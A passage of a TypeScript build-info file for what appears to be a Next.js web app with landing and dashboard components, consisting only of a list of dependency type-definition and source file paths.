protected]/node_modules/next/dist/compiled/@edge-runtime/cookies/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/cookies.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/request.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/fetch-event.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/response.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/setup-exception-listeners.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/constants.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/plugins/pages-manifest-plugin.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/router/utils/route-regex.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/router/utils/route-matcher.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/router/utils/parse-url.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/base-http/node.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/font-utils.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/plugins/flight-manifest-plugin.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-modules/route-module.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/load-components.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/router/utils/middleware-route-matcher.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/plugins/next-font-manifest-plugin.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-definitions/locale-route-definition.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-definitions/pages-route-definition.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/mitt.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/with-router.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/router.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/route-loader.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/page-loader.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/bloom-filter.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/router/router.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/router-context.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/loadable-context.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/loadable.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/image-config-context.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/hooks-client-context.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/head-manager-context.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-definitions/app-page-route-definition.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/modern-browserslist-target.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/constants.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/loaders/metadata/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/page-extensions-type.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/loaders/next-app-loader.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/app-dir-module.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/response-cache/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/response-cache/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/incremental-cache/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/hooks-server-context.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/static-generation-async-storage.external.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/adapters/request-cookies.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/async-storage/draft-mode-provider.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/adapters/headers.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/request-async-storage.external.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/app-render/create-error-handler.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/app-render/app-render.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/server-inserted-html.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/amp-context.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-modules/app-page/vendored/contexts/entrypoints.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-modules/app-page/module.compiled.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/react/jsx-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/error-boundary.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/router-reducer/create-initial-router-state.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/app-router.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/layout-router.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/render-from-template-context.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/action-async-storage.external.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/plugins/app-build-manifest-plugin.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/utils.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/static-generation-bailout.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/static-generation-searchparams-bailout-provider.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/searchparams-bailout-proxy.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/not-found-boundary.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/app-render/rsc/preloads.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/app-render/rsc/taint.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/app-render/entry-base.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/templates/app-page.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-modules/app-page/module.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/app-render/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/router-reducer/fetch-server-response.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/router-reducer/router-reducer-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/app-router-context.shared-runtime.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-modules/pages/vendored/contexts/entrypoints.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-modules/pages/module.compiled.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/templates/pages.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-modules/pages/module.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/render.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-definitions/pages-api-route-definition.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-matches/pages-api-route-match.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-matchers/route-matcher.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-matcher-providers/route-matcher-provider.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-matcher-managers/route-matcher-manager.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/normalizer.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/locale-route-normalizer.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/request/pathname-normalizer.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/request/suffix.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/request/rsc.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/request/prefix.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/request/postponed.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/request/prefetch-rsc.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/normalizers/request/next-data.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/base-server.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/image-optimizer.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/next-server.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/coalesced-function.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/trace/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/trace/trace.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/trace/shared.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/trace/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/load-jsconfig.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack-config.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/plugins/define-env-plugin.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/swc/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/dev/parse-version-info.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/dev/hot-reloader-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/telemetry/storage.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/router-utils/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/render-server.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/router-server.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/router/utils/path-match.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/router-utils/filesystem.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/router-utils/setup-dev-bundler.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/dev-bundler-service.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/dev/static-paths-worker.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/dev/next-dev-server.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/next.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/metadata/types/alternative-urls-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/metadata/types/extra-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/metadata/types/metadata-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/metadata/types/manifest-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/metadata/types/opengraph-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/metadata/types/twitter-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/metadata/types/metadata-interface.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/types/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/html-context.shared-runtime.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@next/env/dist/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/utils.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/pages/_app.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/app.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/unstable-cache.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/revalidate-path.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/revalidate-tag.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/unstable-no-store.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/cache.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/runtime-config.external.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/config.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/pages/_document.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/document.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/dynamic.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dynamic.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/pages/_error.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/error.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/head.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/head.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/draft-mode.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/headers.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/headers.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/get-img-props.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/image-component.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/image-external.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/image.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/link.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/link.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/redirect-status-code.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/redirect.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/not-found.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/navigation.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/navigation.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/router.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/script.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/script.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/user-agent.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/compiled/@edge-runtime/primitives/url.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/spec-extension/image-response.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/compiled/@vercel/og/satori/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/compiled/@vercel/og/emoji/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/compiled/@vercel/og/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/server.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/types/global.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/types/compiled.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/compiled/@next/font/dist/types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/compiled/@next/font/dist/google/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/font/google/index.d.ts","../../node_modules/.pnpm/[email protected][email protected]/node_modules/goober/goober.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/react-hot-toast/dist/index.d.ts","./src/app/layout.tsx","../../node_modules/.pnpm/[email protected]/node_modules/clsx/clsx.d.mts","./src/components/landing/logo.tsx","./src/components/landing/landingnav.tsx","../../node_modules/.pnpm/[email protected]/node_modules/motion-dom/dist/index.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/motion-utils/dist/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/framer-motion/dist/index.d.ts","./src/components/landing/hero.tsx","./src/components/landing/features.tsx","./src/components/landing/architecture.tsx","./src/components/landing/mitrestrip.tsx","./src/components/landing/opensource.tsx","./src/components/landing/footer.tsx","./src/app/page.tsx","./src/components/layout/sidebar.tsx","./src/components/layout/topbar.tsx","../../node_modules/.pnpm/@[email protected][email protected][email protected]/node_modules/@radix-ui/react-primitive/dist/index.d.ts","../../node_modules/.pnpm/@[email protected][email protected][email protected]/node_modules/@radix-ui/react-dismissable-layer/dist/index.d.ts","../../node_modules/.pnpm/@[email protected][email protected][email protected]/node_modules/@radix-ui/react-focus-scope/dist/index.d.ts","../../node_modules/.pnpm/@[email protected][email protected][email protected]/node_modules/@radix-ui/react-portal/dist/index.d.ts","../../node_modules/.pnpm/@[email protected][email protected]/node_modules/@radix-ui/react-context/dist/index.d.ts","../../node_modules/.pnpm/@[email protected]_@[email protected][email protected][email protected]/node_modules/@radix-ui/react-dialog/dist/index.d.ts","../../node_modules/.pnpm/[email protected]_@[email protected][email protected][email protected]/node_modules/cmdk/dist/index.d.ts","./src/components/layout/commandpalette.tsx","./src/components/copilot/copilotdock.tsx","./src/components/layout/appshell.tsx","./src/app/(app)/layout.tsx","../../node_modules/.pnpm/[email protected][email protected]/node_modules/swr/dist/_internal/events.d.mts","../../node_modules/.pnpm/[email protected][email protected]/node_modules/swr/dist/_internal/types.d.mts","../../node_modules/.pnpm/[email protected][email protected]/node_modules/swr/dist/_internal/constants.d.mts","../../node_modules/.pnpm/[email protected]/node_modules/dequal/index.d.ts","../../node_modules/.pnpm/[email protected][email protected]/node_modules/swr/dist/_internal/index.d.mts","../../node_modules/.pnpm/[email protected][email protected]/node_modules/swr/dist/index/index.d.mts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/locale/types.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/fp/types.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/types.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/add.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addbusinessdays.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/adddays.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addhours.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addisoweekyears.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addmilliseconds.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addminutes.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addmonths.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addquarters.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addseconds.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addweeks.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/addyears.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/areintervalsoverlapping.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/clamp.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/closestindexto.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/closestto.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/compareasc.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/comparedesc.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/constructfrom.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/constructnow.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/daystoweeks.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinbusinessdays.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceincalendardays.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceincalendarisoweekyears.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceincalendarisoweeks.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceincalendarmonths.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceincalendarquarters.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceincalendarweeks.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceincalendaryears.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceindays.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinhours.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinisoweekyears.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinmilliseconds.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinminutes.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinmonths.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinquarters.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinseconds.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinweeks.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/differenceinyears.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachdayofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachhourofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachminuteofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachmonthofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachquarterofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachweekofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachweekendofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachweekendofmonth.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachweekendofyear.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/eachyearofinterval.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofday.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofdecade.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofhour.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofisoweek.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofisoweekyear.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofminute.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofmonth.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofquarter.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofsecond.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endoftoday.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endoftomorrow.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofweek.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofyear.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/endofyesterday.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/_lib/format/formatters.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/_lib/format/longformatters.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/format.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatdistance.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatdistancestrict.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatdistancetonow.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatdistancetonowstrict.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatduration.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatiso.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatiso9075.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatisoduration.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatrfc3339.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatrfc7231.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/formatrelative.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/fromunixtime.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getdate.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getday.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getdayofyear.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getdaysinmonth.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getdaysinyear.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getdecade.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/_lib/defaultoptions.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getdefaultoptions.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/gethours.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getisoday.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getisoweek.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getisoweekyear.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getisoweeksinyear.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getmilliseconds.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getminutes.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getmonth.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/date-fns/getoverlappingdaysinintervals.d.ts","../../node_modules/.pnpm/[email 